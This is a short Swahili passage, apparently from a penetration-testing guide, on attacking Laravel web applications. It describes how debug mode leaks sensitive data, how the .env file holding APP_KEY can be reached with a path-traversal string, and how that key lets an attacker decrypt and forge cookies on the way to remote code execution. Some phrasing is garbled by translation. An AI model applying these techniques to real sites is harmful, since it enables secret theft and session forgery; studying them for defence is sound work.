Mbinu za Laravel

Hali ya Uchunguzi

Ikiwa Laravel iko katika hali ya uchunguzi utaweza kupata ufikiaji wa mimba na data nyeti. Kwa mfano http://127.0.0.1:8000/profiles:

Kawaida hii inahitajika kwa kufaidika na CVEs zingine za RCE za Laravel.

.env

Laravel huihifadhi APP inayotumia kusimbua vidakuzi na siri zingine ndani ya faili inayoitwa .env ambayo inaweza kupatikana kwa kutumia njia ya kuvuka njia chini ya: /../.env

Laravel pia itaonyesha habari hii kwenye ukurasa wa uchunguzi (unaotokea wakati Laravel inapopata kosa na inaamilishwa).

Kwa kutumia APP_KEY ya siri ya Laravel unaweza kusimbua na kusimbua upya vidakuzi:
